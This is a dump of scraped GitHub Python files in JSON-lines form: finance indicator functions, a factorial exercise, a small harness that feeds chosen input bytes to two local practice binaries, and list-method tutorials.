self.write_ips_to_logs()\r\n","repo_name":"csprock/phdata-demo","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74221839402","text":"\nimport pandas as pd\nimport numpy as np\n##################################################################\ndef rolling_gen(df, w):\n for i in range(df.shape[0] - w + 1):\n yield pd.DataFrame(df.values[i:i+w, :], df.index[i:i+w], df.columns)\n######################################################\ndef Point_Ref_Simple(S, l):\n # calcule les deux séries de points de référence max et min d'une série\n # pour une moyenne mobile simple de longueur l\n df = pd.DataFrame(S)\n temp = pd.DataFrame(index=df.index, data=np.zeros((len(df), 4)))\n temp.iloc[:l, 0] = df.iloc[:l, 0]\n temp.iloc[:l, 1] = df.iloc[:l, 0]\n temp.iloc[:l, 2] = df.iloc[:l, 0]\n temp.iloc[:l, 3] = df.iloc[:l, 0]\n\n sma = df.rolling(window=l, center=False).mean()\n sg = (df - sma).apply(np.sign)\n\n i = l\n sg[:i] = sg.iloc[i][0]\n temp.iloc[:i, 1] = np.min(df.iloc[:i, 0])\n temp.iloc[:i, 2] = np.max(df.iloc[:i, 0])\n\n if sg.iloc[i, 0] == 1:\n temp.iloc[:i, 0] = np.min(df.iloc[:i, 0])\n else:\n temp.iloc[:i, 0] = np.max(df.iloc[:i, 0])\n\n for i in range(l, len(S)):\n\n if sg.iloc[i, 0] > sg.iloc[i - 1, 0]:\n temp.iloc[i, 0] = df.iloc[i, 0]\n temp.iloc[i, 1] = temp.iloc[i - 1, 0]\n temp.iloc[i, 2] = temp.iloc[i - 1, 2]\n temp.iloc[i, 3] = temp.iloc[i, 1]\n\n elif sg.iloc[i, 0] < sg.iloc[i - 1, 0]:\n temp.iloc[i, 0] = df.iloc[i, 0]\n temp.iloc[i, 1] = temp.iloc[i - 1, 1]\n temp.iloc[i, 2] = temp.iloc[i - 1, 0]\n temp.iloc[i, 3] = temp.iloc[i, 2]\n\n elif sg.iloc[i, 0] == 1:\n temp.iloc[i, 0] = np.max([temp.iloc[i - 1, 0], df.iloc[i, 0]])\n temp.iloc[i, 1] = temp.iloc[i - 1, 1]\n temp.iloc[i, 2] = temp.iloc[i - 1, 2]\n temp.iloc[i, 3] = temp.iloc[i, 1]\n\n else:\n temp.iloc[i, 0] = np.min([temp.iloc[i - 1, 0], df.iloc[i, 0]])\n temp.iloc[i, 1] = temp.iloc[i - 1, 1]\n temp.iloc[i, 2] = temp.iloc[i - 1, 2]\n temp.iloc[i, 3] = temp.iloc[i, 2]\n\n return temp.iloc[:, 1:3]\n######################################################\ndef regime_simple_new(S, l):\n # calcule le regime d'investissement TF d'une série\n # autour d'une moyenne mobile simple\n S = pd.DataFrame(S)\n B = Point_Ref_Simple(S, l)\n pos = pd.DataFrame(np.zeros((len(S), 1)))\n pos.iloc[0, 0] = 0\n S_Loss = S.copy()\n S_Loss.columns = ['S_Loss']\n\n for i in range(1, len(S)):\n if S.iloc[i, 0] < B.iloc[i, 0]:\n pos.iloc[i, 0] = -1\n S_Loss.iloc[i, 0] = B.iloc[i, 1]\n\n elif S.iloc[i, 0] > B.iloc[i, 1]:\n pos.iloc[i, 0] = 1\n S_Loss.iloc[i, 0] = B.iloc[i, 0]\n\n else:\n pos.iloc[i, 0] = pos.iloc[i - 1, 0]\n S_Loss.iloc[i, 0] = S.iloc[i - 1, 0]\n\n pos.set_index(S.index, inplace=True)\n pos.columns = ['pos']\n sma = S.rolling(window=l, center=False).mean()\n sma.columns = ['sma']\n dist = S.div(S_Loss.values, axis=1) - 1\n dist.columns = ['dist2SLoss']\n dist[pos == 0] = 0\n vout = pd.concat([S, sma, S_Loss, pos, dist], axis=1)\n\n return vout\n######################################################\ndef max_DDown_abs(S):\n# calcule le max drawdown absolu d'une série S sur une longueur l\n S = pd.DataFrame(S)\n DD = (S.cummax() - S)\n return DD.max()[0]\n######################################################\ndef max_DUp_abs(S):\n# calcule le max drawup absolu d'une série S sur une longueur l\n S = pd.DataFrame(S)\n DU = (S - S.cummin())\n return DU.max()[0]\n######################################################\ndef corde_path(S):\n # calcule le ratio entre la corde et le chemin total d'un df de prix\n A = np.array(S.copy())\n\n corde = A[-1] / A[0] - 1\n path = np.sum(np.array([np.abs(A[i] / A[i - 1] - 1) for i in range(1, len(A))]), axis=0)\n path[path == 0] = np.nan\n\n temp = pd.Series(corde / path, name=S.index[-1])\n return temp\n##########################################################\ndef F_ts_corde_path(S,l1):\n# donne le ratio corde/path sur l1 jours d'une série de prix\n temp0= S* np.nan\n z = rolling_gen(S,l1)\n temp = pd.concat([corde_path(item) for item in z],axis=1)\n temp0.loc[temp.T.index] = temp.T\n return temp0.fillna(0)\n###########################################################","repo_name":"ThibaultRizzo/base-ramses","sub_path":"Ramses_scripts/lib_functions/lib_features/basic_features.py","file_name":"basic_features.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22975782547","text":"#name Sreeraj Karpe\r\n#roll no. 28\r\n#gr no 11810158\r\n\r\n\r\ndef factor(x): \r\n if x==0:\r\n print(\"0\")\r\n elif x==1:\r\n print(\"1\")\r\n else:\r\n multi=1\r\n for i in range (2,x+1,1):\r\n multi=multi*i\r\n print(multi)\r\nx=int(input(\"enter a number\"))\r\nm=factor(x)\r\n","repo_name":"sreerajumeshkarpe/Python-Programming","sub_path":"factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"20573631453","text":"import sys\nfrom subprocess import Popen, PIPE\n\ndef make_choice(arg):\n switch = { '1': b'\\x64', '2': b'\\x65', '3': b'\\x70', '4': b'\\xa9' }\n\n binaries = { '1': 'C:\\\\Users\\\\Simmo\\\\Desktop\\\\ReverseEngBinaries\\\\BinaryA.exe',\n '2': 'C:\\\\Users\\\\Simmo\\\\Desktop\\\\ReverseEngBinaries\\\\BinaryB.exe' }\n\n while True:\n choice = input(\"$> \")\n if arg == 'binary':\n ret = binaries.get(choice)\n if ret != None:\n return ret\n elif arg == 'input':\n ret = switch.get(choice)\n if ret != None:\n return ret\n print(\"Invalid input\")\n\ndef conditions(procname):\n BinAConditions = ['\"Ops! not this one\"','\"Ops! not this one\"','\"Ops! there are more\"','\"Ops! you may have found the key!\"']\n BinBConditions = ['\"Ops! not this one\"','\"Ops! there are more\"','\"Ops! not this one\"','\"Ops! you may have found the key!\"']\n if procname == 'BinaryA.exe':\n return BinAConditions\n elif procname == 'BinaryB.exe':\n return BinBConditions\n else:\n print(\"Could not identify binary!\")\n sys.exit(1)\n\ndef main():\n print(\"Pick binary to interact with:\")\n print(\"1: BinaryA.exe\")\n print(\"2: BinaryB.exe\")\n\n try:\n proc = Popen(make_choice('binary'), stdin=PIPE)\n flow = conditions(proc.args.split(\"\\\\\")[5])\n except:\n print('Unable to open binary!')\n sys.exit(1)\n\n print(\"Pick input for process:\")\n print(\"1: [d] (0x64) - Enters\", flow[0], \"condition\")\n print(\"2: [e] (0x65) - Enters\", flow[1], \"condition\")\n print(\"3: [p] (0x70) - Enters\", flow[2], \"condition\")\n print(\"4: [no ascii] (0xA9) - Enters\", flow[3], \"condition\")\n\n print(proc.communicate(make_choice('input')))\n\nif __name__ == '__main__':\n main()\n","repo_name":"BigSkimmo/ZEIT8025_Smalley","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"41897256077","text":"#Copy List...copy()\nlist1=[\"a\",\"b\",\"c\"]\nmylist=list1.copy()\nprint(mylist)\n\n#Another method is list() method..\nlist1=[\"a\",\"b\",\"c\"]\nmylist=list(list1)\nprint(mylist)\n\n#Join two list...Using '+' Operator..\nlist1=[\"a\",\"b\",\"c\"]\nlist2=[1,2,3]\nlist3=list1+list2\nprint(\"1 Method=\",list3)\n\n#Using append() method..\nlist1=[\"a\",\"b\",\"c\"]\nlist2=[1,2,3]\nfor x in list2:\n list1.append(x)\nprint(\"2 Method=\",list1)\n\n#Extend() method...\nlist1=[\"a\",\"b\",\"c\"]\nlist2=[1,2,3]\nlist1.extend(list2)\nprint(\"3 method=\",list1)\n","repo_name":"Puneetkumar05522/python-code","sub_path":"Python List/list4.py","file_name":"list4.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}